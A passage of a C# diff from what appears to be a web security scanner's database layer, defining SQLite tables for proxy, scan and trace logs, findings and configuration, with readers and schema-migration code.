UpdateResponseTextContentTypesConfigFromDB(); + UpdateScriptPathsConfigFromDB(); + UpdateScriptCommandsConfigFromDB(); + UpdateInterceptRulesFromDB(); + UpdateDisplayRulesFromDB(); + UpdateJSTaintConfigFromDB(); + UpdateScannerSettingsFromDB(); + UpdatePassiveAnalysisSettingsFromDB(); + UpdateCharacterEscapingRulesFromDB(); + UpdateParametersBlackListFromDB(); + } + #endregion + + //internal static List GetProxyLogRecords(int StartID) + //{ + // List ProxyLogRecords = new List(); + // SQLiteConnection DB = new SQLiteConnection("data source=" + ProxyLogFile); + // DB.Open(); + // SQLiteCommand cmd = DB.CreateCommand(); + // cmd.CommandText = "SELECT ID , SSL, HostName, Method, URL, Edited, File, Parameters, Code, Length, MIME, SetCookie, Notes, OriginalRequestHeaders FROM ProxyLog WHERE ID > @StartID LIMIT 1000"; + // cmd.Parameters.AddWithValue("@StartID", StartID); + // SQLiteDataReader result = cmd.ExecuteReader(); + // while (result.Read()) + // { + // LogRow LR = new LogRow(); + // try { LR.ID = Int32.Parse(result["ID"].ToString()); } + // catch { continue; } + // LR.Host = result["HostName"].ToString(); + // LR.Method = result["Method"].ToString(); + // LR.Url = result["URL"].ToString(); + // LR.File = result["File"].ToString(); + // LR.SSL = result["SSL"].ToString().Equals("1"); + // LR.Parameters = result["Parameters"].ToString(); + // try + // {LR.Code = Int32.Parse(result["Code"].ToString());} + // catch { LR.Code = -1; } + // try + // { LR.Length = Int32.Parse(result["Length"].ToString()); } + // catch { LR.Length = 0; } + // LR.Mime = result["MIME"].ToString(); + // LR.SetCookie = result["SetCookie"].ToString().Equals("1"); + // LR.Editied = result["Edited"].ToString().Equals("1"); + // LR.Notes = result["Notes"].ToString(); + // LR.OriginalRequestHeaders = result["OriginalRequestHeaders"].ToString(); + // ProxyLogRecords.Add(LR); + // } + // result.Close(); + // DB.Close(); + // return ProxyLogRecords; + //} + + //internal static List GetTestLogRecords(int StartID) + //{ + // List MTLogRecords = new List(); + // SQLiteConnection DB = new SQLiteConnection("data source=" + TestLogFile); + // DB.Open(); + // SQLiteCommand cmd = DB.CreateCommand(); + // cmd.CommandText = "SELECT ID, SSL, HostName, Method, URL, File, Parameters, Code, Length, MIME, SetCookie FROM TestLog WHERE ID > @StartID LIMIT 1000"; + // cmd.Parameters.AddWithValue("@StartID", StartID); + // SQLiteDataReader result = cmd.ExecuteReader(); + // while (result.Read()) + // { + // LogRow LR = new LogRow(); + // try { LR.ID = Int32.Parse(result["ID"].ToString()); } + // catch { continue; } + // LR.Host = result["HostName"].ToString(); + // LR.Method = result["Method"].ToString(); + // LR.Url = result["URL"].ToString(); + // LR.File = result["File"].ToString(); + // LR.SSL = result["SSL"].ToString().Equals("1"); + // LR.Parameters = result["Parameters"].ToString(); + // try + // { LR.Code = Int32.Parse(result["Code"].ToString()); } + // catch { LR.Code = -1; } + // try + // { LR.Length = Int32.Parse(result["Length"].ToString()); } + // catch { LR.Length = 0; } + // LR.Mime = result["MIME"].ToString(); + // LR.SetCookie = result["SetCookie"].ToString().Equals("1"); + // MTLogRecords.Add(LR); + // } + // result.Close(); + // DB.Close(); + // return MTLogRecords; + //} + + //internal static List GetShellLogRecords(int StartID) + //{ + // List ShellLogRecords = new List(); + // SQLiteConnection DB = new SQLiteConnection("data source=" + ShellLogFile); + // DB.Open(); + // SQLiteCommand cmd = DB.CreateCommand(); + // cmd.CommandText = "SELECT ID , SSL, HostName, Method, URL, File, Parameters, Code, Length, MIME, SetCookie FROM ShellLog WHERE ID > @StartID LIMIT 1000"; + // cmd.Parameters.AddWithValue("@StartID", StartID); + // SQLiteDataReader result = cmd.ExecuteReader(); + // while (result.Read()) + // { + // LogRow LR = new LogRow(); + // try { LR.ID = Int32.Parse(result["ID"].ToString()); } + // catch { continue; } + // LR.Host = result["HostName"].ToString(); + // LR.Method = result["Method"].ToString(); + // LR.Url = result["URL"].ToString(); + // LR.File = result["File"].ToString(); + // LR.SSL = result["SSL"].ToString().Equals("1"); + // LR.Parameters = result["Parameters"].ToString(); + // try + // { LR.Code = Int32.Parse(result["Code"].ToString()); } + // catch { LR.Code = -1; } + // try + // { LR.Length = Int32.Parse(result["Length"].ToString()); } + // catch { LR.Length = 0; } + // LR.Mime = result["MIME"].ToString(); + // LR.SetCookie = result["SetCookie"].ToString().Equals("1"); + // ShellLogRecords.Add(LR); + // } + // result.Close(); + // DB.Close(); + // return ShellLogRecords; + //} + + //internal static List GetProbeLogRecords(int StartID) + //{ + // List ShellLogRecords = new List(); + // SQLiteConnection DB = new SQLiteConnection("data source=" + ProbeLogFile); + // DB.Open(); + // SQLiteCommand cmd = DB.CreateCommand(); + // cmd.CommandText = "SELECT ID , SSL, HostName, Method, URL, File, Parameters, Code, Length, MIME, SetCookie FROM ProbeLog WHERE ID > @StartID LIMIT 1000"; + // cmd.Parameters.AddWithValue("@StartID", StartID); + // SQLiteDataReader result = cmd.ExecuteReader(); + // while (result.Read()) + // { + // LogRow LR = new LogRow(); + // try { LR.ID = Int32.Parse(result["ID"].ToString()); } + // catch { continue; } + // LR.Host = result["HostName"].ToString(); + // LR.Method = result["Method"].ToString(); + // LR.Url = result["URL"].ToString(); + // LR.File = result["File"].ToString(); + // LR.SSL = result["SSL"].ToString().Equals("1"); + // LR.Parameters = result["Parameters"].ToString(); + // try + // { LR.Code = Int32.Parse(result["Code"].ToString()); } + // catch { LR.Code = -1; } + // try + // { LR.Length = Int32.Parse(result["Length"].ToString()); } + // catch { LR.Length = 0; } + // LR.Mime = result["MIME"].ToString(); + // LR.SetCookie = result["SetCookie"].ToString().Equals("1"); + // ShellLogRecords.Add(LR); + // } + // result.Close(); + // DB.Close(); + // return ShellLogRecords; + //} + + //internal static List GetScanLogRecords(int StartID) + //{ + // List ScanLogRecords = new List(); + // SQLiteConnection DB = new SQLiteConnection("data source=" + ScanLogFile); + // DB.Open(); + // SQLiteCommand cmd = DB.CreateCommand(); + // cmd.CommandText = "SELECT ID , ScanID, SSL, HostName, Method, URL, File, Parameters, Code, Length, MIME, SetCookie FROM ScanLog WHERE ID > @StartID LIMIT 1000"; + // cmd.Parameters.AddWithValue("@StartID", StartID); + // SQLiteDataReader result = cmd.ExecuteReader(); + // while (result.Read()) + // { + // LogRow LR = new LogRow(); + // try { LR.ID = Int32.Parse(result["ID"].ToString()); } + // catch { continue; } + // try { LR.ScanID = Int32.Parse(result["ScanID"].ToString()); } + // catch { continue; } + // LR.Host = result["HostName"].ToString(); + // LR.Method = result["Method"].ToString(); + // LR.Url = result["URL"].ToString(); + // LR.File = result["File"].ToString(); + // LR.SSL = result["SSL"].ToString().Equals("1"); + // LR.Parameters = result["Parameters"].ToString(); + // try + // { LR.Code = Int32.Parse(result["Code"].ToString()); } + // catch { LR.Code = -1; } + // try + // { LR.Length = Int32.Parse(result["Length"].ToString()); } + // catch { LR.Length = 0; } + // LR.Mime = result["MIME"].ToString(); + // LR.SetCookie = result["SetCookie"].ToString().Equals("1"); + // ScanLogRecords.Add(LR); + // } + // result.Close(); + // DB.Close(); + // return ScanLogRecords; + //} + + internal static List GetScanQueueRecords(int StartID) + { + List ScanQueueRecords = new List(); + using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT ScanID, Status, Method, URL FROM ScanQueue WHERE ScanID > @StartID LIMIT 1000"; + cmd.Parameters.AddWithValue("@StartID", StartID); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + string[] Fields = new string[4]; + Fields[0] = result["ScanID"].ToString(); + Fields[1] = result["Status"].ToString(); + Fields[2] = result["Method"].ToString(); + Fields[3] = result["URL"].ToString(); + ScanQueueRecords.Add(Fields); + } + } + } + } + return ScanQueueRecords; + } + + internal static List GetPluginResultsLogRecords(int StartID) + { + List PluginResultsLogRecords = new List(); + using (SQLiteConnection DB = new SQLiteConnection("data source=" + PluginResultsLogFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT ID, HostName, Title, FinderName, FinderType, Meta, UniquenessString, Severity, Confidence, Type FROM Findings WHERE ID > @StartID LIMIT 1000"; + cmd.Parameters.AddWithValue("@StartID", StartID); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + Finding PR = new Finding(result["HostName"].ToString()); + PR.Id = Int32.Parse(result["ID"].ToString()); + PR.Title = result["Title"].ToString(); + PR.FinderName = result["FinderName"].ToString(); + PR.FinderType = result["FinderType"].ToString(); + try + { + PR.XmlMeta = result["Meta"].ToString(); + } + catch { } + PR.AffectedHost = result["HostName"].ToString(); + PR.Severity = GetSeverity(Int32.Parse(result["Severity"].ToString())); + PR.Confidence = GetConfidence(Int32.Parse(result["Confidence"].ToString())); + PR.Type = GetResultType(Int32.Parse(result["Type"].ToString())); + PR.Signature = result["UniquenessString"].ToString(); + PluginResultsLogRecords.Add(PR); + } + } + } + } + return PluginResultsLogRecords; + } + + internal static List GetExceptionLogRecords(int StartID) + { + List ExceptionLogRecords = new List(); + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ExceptionsLogFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT ID, Title, Message, StackTrace FROM Exceptions WHERE ID > @StartID LIMIT 1000"; + cmd.Parameters.AddWithValue("@StartID", StartID); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + IronException IrEx = new IronException(); + IrEx.ID = Int32.Parse(result["ID"].ToString()); + IrEx.Title = result["Title"].ToString(); + ExceptionLogRecords.Add(IrEx); + } + } + } + } + return ExceptionLogRecords; + } + + internal static List GetTraceRecords(int StartID, int Count) + { + List TraceRecords = new List(); + using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) + { + DB.Open(); + using(SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT ID, Time, Date, ThreadID, Source, Message FROM Trace WHERE ID > @StartID LIMIT @LIMIT"; + cmd.Parameters.AddWithValue("@StartID", StartID); + cmd.Parameters.AddWithValue("@LIMIT", Count); + using(SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + IronTrace Trace = new IronTrace(); + try + { Trace.ID = Int32.Parse(result["ID"].ToString()); } + catch { continue; } + try + { Trace.ThreadID = Int32.Parse(result["ThreadID"].ToString()); } + catch { } + Trace.Time = result["Time"].ToString(); + Trace.Date = result["Date"].ToString(); + Trace.Source = result["Source"].ToString(); + Trace.Message = result["Message"].ToString(); + TraceRecords.Add(Trace); + } + } + } + } + return TraceRecords; + } + + internal static IronTrace GetScanTrace(int ID) + { + return GetScanTraces(ID, 1)[0]; + } + + internal static List GetScanTraces(int StartID, int Count) + { + List TraceRecords = new List(); + using(SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT ID, ScanID, PluginName, Section, Parameter, Title, Message, OverviewXml FROM ScanTrace WHERE ID > @StartID ORDER BY ID LIMIT @LIMIT"; + cmd.Parameters.AddWithValue("@StartID", StartID - 1); + cmd.Parameters.AddWithValue("@LIMIT", Count); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + IronTrace Trace = new IronTrace(); + try + { Trace.ID = Int32.Parse(result["ID"].ToString()); } + catch { continue; } + try + { Trace.ScanID = Int32.Parse(result["ScanID"].ToString()); } + catch { } + Trace.PluginName = result["PluginName"].ToString(); + Trace.Section = result["Section"].ToString(); + Trace.Parameter = result["Parameter"].ToString(); + Trace.Title = result["Title"].ToString(); + try + { + Trace.MessageXml = result["Message"].ToString(); + } + catch + { + Trace.Message = result["Message"].ToString(); + } + Trace.OverviewXml = result["OverviewXml"].ToString(); + TraceRecords.Add(Trace); + } + } + } + } + return TraceRecords; + } + + internal static List GetScanTraces(Finding F) + { + List TraceRecords = new List(); + + using(SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT ID, Message, OverviewXml FROM ScanTrace WHERE ScanID=@ScanID AND PluginName=@PluginName AND Section=@Section AND Parameter=@Parameter ORDER BY ID"; + cmd.Parameters.AddWithValue("@ScanID", F.ScanId); + cmd.Parameters.AddWithValue("@PluginName", F.FinderName); + cmd.Parameters.AddWithValue("@Section", F.AffectedSection); + cmd.Parameters.AddWithValue("@Parameter", F.AffectedParameter); + + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + IronTrace Trace = new IronTrace(); + try + { Trace.ID = Int32.Parse(result["ID"].ToString()); } + catch { continue; } + try + { + Trace.MessageXml = result["Message"].ToString(); + } + catch + { + Trace.Message = result["Message"].ToString(); + } + Trace.OverviewXml = result["OverviewXml"].ToString(); + TraceRecords.Add(Trace); + } + } + } + } + return TraceRecords; + } + + internal static void InitialiseLogDB() + { + CreateLogFilesOnStartUp(); + CreateNewLogFiles(); + } + + internal static void CreateNewLogFiles() + { + using (SQLiteConnection log = new SQLiteConnection("data source=" + IronProjectFile)) + { + log.Open(); + using (SQLiteTransaction create = log.BeginTransaction()) + { + using (SQLiteCommand cmd = new SQLiteCommand(log)) + { + cmd.CommandText = "DROP TABLE IF EXISTS ScanQueue"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS ScanQueue (ScanID INT PRIMARY KEY, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Status TEXT, Method TEXT, URL TEXT, SessionPlugin TEXT, InjectionPoints TEXT, FormatPlugin TEXT, ScanPlugins TEXT, WorkflowToScan TEXT, LoginWorkflow TEXT)"; + cmd.ExecuteNonQuery(); + //cmd.CommandText = "CREATE TABLE IF NOT EXISTS TestGroups (Red INT, Green INT, Blue INT, Gray INT, Brown INT)"; + //cmd.CommandText = "CREATE TABLE IF NOT EXISTS NamedTestGroups (Name TEXT, ID INT)"; + cmd.CommandText = "CREATE TABLE IF NOT EXISTS TestGroups (Name TEXT, ID INT)"; + cmd.ExecuteNonQuery(); + } + create.Commit(); + } + } + + using (SQLiteConnection log = new SQLiteConnection("data source=" + ProxyLogFile)) + { + log.Open(); + using (SQLiteTransaction create = log.BeginTransaction()) + { + using (SQLiteCommand cmd = new SQLiteCommand(log)) + { + cmd.CommandText = "DROP TABLE IF EXISTS ProxyLog"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS ProxyLog (ID INT PRIMARY KEY, SSL INT, HostName TEXT, Method TEXT, URL TEXT, Edited INT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, OriginalRequestHeaders TEXT, OriginalRequestBody TEXT, BinaryOriginalRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, OriginalResponseHeaders TEXT, OriginalResponseBody TEXT, BinaryOriginalResponse INT, RoundTrip INT, Notes TEXT)"; + cmd.ExecuteNonQuery(); + } + create.Commit(); + } + } + + using (SQLiteConnection log = new SQLiteConnection("data source=" + TestLogFile)) + { + log.Open(); + using (SQLiteTransaction create = log.BeginTransaction()) + { + using (SQLiteCommand cmd = new SQLiteCommand(log)) + { + cmd.CommandText = "DROP TABLE IF EXISTS MTLog"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS TestLog (ID INT PRIMARY KEY, SSL INT, HostName TEXT, Method TEXT, URL TEXT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT, Notes TEXT)"; + cmd.ExecuteNonQuery(); + } + create.Commit(); + } + } + + using (SQLiteConnection log = new SQLiteConnection("data source=" + ShellLogFile)) + { + log.Open(); + using (SQLiteTransaction create = log.BeginTransaction()) + { + using (SQLiteCommand cmd = new SQLiteCommand(log)) + { + cmd.CommandText = "DROP TABLE IF EXISTS ShellLog"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS ShellLog (ID INT PRIMARY KEY, SSL INT, HostName TEXT, Method TEXT, URL TEXT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT, Notes TEXT)"; + cmd.ExecuteNonQuery(); + } + create.Commit(); + } + } + + using (SQLiteConnection log = new SQLiteConnection("data source=" + ProbeLogFile)) + { + log.Open(); + using (SQLiteTransaction create = log.BeginTransaction()) + { + using (SQLiteCommand cmd = new SQLiteCommand(log)) + { + cmd.CommandText = "DROP TABLE IF EXISTS ProbeLog"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS ProbeLog (ID INT PRIMARY KEY, SSL INT, HostName TEXT, Method TEXT, URL TEXT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT, Notes TEXT)"; + cmd.ExecuteNonQuery(); + } + create.Commit(); + } + } + + using (SQLiteConnection log = new SQLiteConnection("data source=" + ScanLogFile)) + { + log.Open(); + using (SQLiteTransaction create = log.BeginTransaction()) + { + using (SQLiteCommand cmd = new SQLiteCommand(log)) + { + cmd.CommandText = "DROP TABLE IF EXISTS ScanLog"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS ScanLog (ID INT PRIMARY KEY, ScanID INT, SSL INT, HostName TEXT, Method TEXT, URL TEXT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT, Notes TEXT)"; + cmd.ExecuteNonQuery(); + } + create.Commit(); + } + } + + using (SQLiteConnection log = new SQLiteConnection("data source=" + WorkflowLogFile)) + { + log.Open(); + using (SQLiteTransaction create = log.BeginTransaction()) + { + using (SQLiteCommand cmd = new SQLiteCommand(log)) + { + cmd.CommandText = "DROP TABLE IF EXISTS Workflows"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS Workflows (ID INT PRIMARY KEY, LogIds TEXT, LogSource TEXT, Name TEXT, Type TEXT, Source TEXT, UserAgent TEXT, Info TEXT)"; + cmd.ExecuteNonQuery(); + } + create.Commit(); + } + } + + using (SQLiteConnection log = new SQLiteConnection("data source=" + PluginResultsLogFile)) + { + log.Open(); + using (SQLiteTransaction create = log.BeginTransaction()) + { + using (SQLiteCommand cmd = new SQLiteCommand(log)) + { + cmd.CommandText = "DROP TABLE IF EXISTS Findings"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS Findings (ID INT, HostName TEXT, Title TEXT, FinderName TEXT, FinderType TEXT, ScanID INT, Meta TEXT, Summary TEXT, Severity INT, Confidence INT, Type INT, UniquenessString TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "DROP TABLE IF EXISTS Triggers"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS Triggers (ID INT, TriggersEncoded INT, RequestTriggerDesc TEXT, RequestTrigger TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, ResponseTriggerDesc TEXT, ResponseTrigger TEXT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "DROP TABLE IF EXISTS BaseLine"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS BaseLine (FindingID INT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT)"; + cmd.ExecuteNonQuery(); + } + create.Commit(); + } + } + + using (SQLiteConnection log = new SQLiteConnection("data source=" + ExceptionsLogFile)) + { + log.Open(); + using (SQLiteTransaction create = log.BeginTransaction()) + { + using (SQLiteCommand cmd = new SQLiteCommand(log)) + { + cmd.CommandText = "DROP TABLE IF EXISTS Exceptions"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS Exceptions (ID INT PRIMARY KEY, Title TEXT, Message TEXT, StackTrace TEXT)"; + cmd.ExecuteNonQuery(); + } + create.Commit(); + } + } + + using (SQLiteConnection log = new SQLiteConnection("data source=" + TraceLogFile)) + { + log.Open(); + using (SQLiteTransaction create = log.BeginTransaction()) + { + using (SQLiteCommand cmd = new SQLiteCommand(log)) + { + cmd.CommandText = "DROP TABLE IF EXISTS Trace"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS Trace (ID INT PRIMARY KEY, Time TEXT, Date TEXT, ThreadID INT, Source TEXT, Message TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "DROP TABLE IF EXISTS ScanTrace"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS ScanTrace (ID INT PRIMARY KEY, ScanID INT, PluginName TEXT, Section TEXT, Parameter TEXT, Title TEXT, Message TEXT, OverviewXml TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "DROP TABLE IF EXISTS SessionPluginTrace"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS SessionPluginTrace (ID INT PRIMARY KEY, LogId INT, LogSource TEXT, PluginName TEXT, Action TEXT, Message TEXT)"; + cmd.ExecuteNonQuery(); + } + create.Commit(); + } + } + + ConfigFile = Config.RootDir + "\\IronConfig.exe"; + using (SQLiteConnection log = new SQLiteConnection("data source=" + ConfigFile)) + { + log.Open(); + using (SQLiteTransaction create = log.BeginTransaction()) + { + using (SQLiteCommand cmd = new SQLiteCommand(log)) + { + cmd.CommandText = "CREATE TABLE IF NOT EXISTS IronProxy (LoopBack INT, SystemProxy INT, Port INT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS UpstreamProxy (Use INT, IP TEXT, Port INT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS PyPath (Path TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS RbPath (Path TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS PyStartCommands (Command TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS RbStartCommands (Command TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS InterceptRules (Get INT, Post INT, OtherMethods INT, Html INT, JS INT, CSS INT, Xml INT, JSON INT, OtherText INT, Img INT, OtherBinary INT, Code200 INT, Code2xx INT, Code301_2 INT, Code3xx INT, Code403 INT, Code4xx INT, Code500 INT, Code5xx INT, FileExt INT, FileExtPlus INT, FileExtMinus INT, PlusFileExts TEXT, MinusFileExts TEXT, Host INT, HostPlus INT, HostMinus INT, PlusHosts TEXT, MinusHosts TEXT, RequestKeyword INT, RequestKeywordPlus INT, RequestKeywordMinus INT, PlusRequestKeyword TEXT, MinusRequestKeyword TEXT, ResponseKeyword INT, ResponseKeywordPlus INT, ResponseKeywordMinus INT, PlusResponseKeyword TEXT, MinusResponseKeyword TEXT, RequestRulesOnResponse INT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS DisplayRules (Get INT, Post INT, OtherMethods INT, Html INT, JS INT, CSS INT, Xml INT, JSON INT, OtherText INT, Img INT, OtherBinary INT, Code200 INT, Code2xx INT, Code301_2 INT, Code3xx INT, Code403 INT, Code4xx INT, Code500 INT, Code5xx INT, FileExt INT, FileExtPlus INT, FileExtMinus INT, PlusFileExts TEXT, MinusFileExts TEXT, Host INT, HostPlus INT, HostMinus INT, PlusHosts TEXT, MinusHosts TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS TextRequestTypes (Type TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS TextResponseTypes (Type TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS JSTaintConfig (SourceObjects TEXT, SinkObjects TEXT, ArgumentAssignedASourceMethods TEXT, ArgumentAssignedToSinkMethods TEXT, SourceReturningMethods TEXT, SinkReturningMethods TEXT, ArgumentReturningMethods TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS ScannerSettings (MaxScannerThreads INT, MaxCrawlerThreads INT, UserAgent TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS PassiveAnalysisSettings (Proxy INT, Shell INT, Test INT, Scan INT, Probe INT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS CharacterEscapingRules (RawCharacter TEXT, EncodedCharacter TEXT)"; + cmd.ExecuteNonQuery(); + cmd.CommandText = "CREATE TABLE IF NOT EXISTS ParametersBlackList (ParameterSection TEXT, ParameterName TEXT)"; + cmd.ExecuteNonQuery(); + } + create.Commit(); + } + } + } + + internal static void CreateLogFilesOnStartUp() + { + string Path = DateTime.Now.ToString("yyyy_MMM_d__HH_mm_ss_tt"); + string LogDir = Config.RootDir + "\\log\\"; + while (Directory.Exists(LogDir + Path)) + { + Path = DateTime.Now.ToString("yyyy_MMM_d__HH_mm_ss_tt") + "_ticks_" + DateTime.Now.Ticks.ToString(); + } + Directory.CreateDirectory(LogDir + Path); + UpdateLogFilePaths(LogDir + Path); + } + + internal static void MakeLogFileVersionCompliant() + { + #region Manual Testing Groups + using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + DB.Open(); + try + { + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "SELECT Name FROM TestGroups WHERE ID=1"; + using (SQLiteDataReader result = Cmd.ExecuteReader()) + { + bool HasRows = result.HasRows; + } + } + } + catch + { + try + { + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "ALTER TABLE TestGroups ADD COLUMN Name TEXT"; + Cmd.ExecuteNonQuery(); + Cmd.CommandText = "ALTER TABLE TestGroups ADD COLUMN ID INT"; + Cmd.ExecuteNonQuery(); + } + } + catch { } + } + } + #endregion + + #region Scan Trace Overview + using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) + { + DB.Open(); + try + { + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT OverviewXml FROM ScanTrace WHERE ID=1"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + bool HasRows = result.HasRows; + } + } + } + catch + { + try + { + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "ALTER TABLE ScanTrace ADD COLUMN OverviewXml TEXT"; + Cmd.ExecuteNonQuery(); + } + } + catch { } + } + } + #endregion + + #region SessionPlugin Trace Logging + using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) + { + DB.Open(); + try + { + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT LogId FROM SessionPluginTrace WHERE ID=1"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + bool HasRows = result.HasRows; + } + } + } + catch + { + try + { + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "CREATE TABLE IF NOT EXISTS SessionPluginTrace (ID INT PRIMARY KEY, LogId INT, LogSource TEXT, PluginName TEXT, Action TEXT, Message TEXT)"; + Cmd.ExecuteNonQuery(); + } + } + catch { } + } + } + #endregion + + #region Finding + using (SQLiteConnection DB = new SQLiteConnection("data source=" + PluginResultsLogFile)) + { + DB.Open(); + try + { + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Meta FROM Findings WHERE ID=1"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + bool HasRows = result.HasRows; + } + } + } + catch + { + using (SQLiteTransaction Alter = DB.BeginTransaction()) + { + try + { + using (SQLiteCommand Cmd = new SQLiteCommand(DB)) + { + Cmd.CommandText = "ALTER TABLE Triggers ADD COLUMN TriggersEncoded INT"; + Cmd.ExecuteNonQuery(); + Cmd.CommandText = "ALTER TABLE Triggers ADD COLUMN RequestTriggerDesc TEXT"; + Cmd.ExecuteNonQuery(); + Cmd.CommandText = "ALTER TABLE Triggers ADD COLUMN ResponseTriggerDesc TEXT"; + Cmd.ExecuteNonQuery(); + + Cmd.CommandText = "ALTER TABLE PluginResult ADD COLUMN Meta TEXT"; + Cmd.ExecuteNonQuery(); + Cmd.CommandText = "ALTER TABLE PluginResult ADD COLUMN ScanID INT"; + Cmd.ExecuteNonQuery(); + Cmd.CommandText = "ALTER TABLE PluginResult ADD COLUMN FinderName TEXT"; + Cmd.ExecuteNonQuery(); + Cmd.CommandText = "ALTER TABLE PluginResult ADD COLUMN FinderType TEXT"; + Cmd.ExecuteNonQuery(); + Cmd.CommandText = "UPDATE PluginResult SET FinderName = Plugin"; + 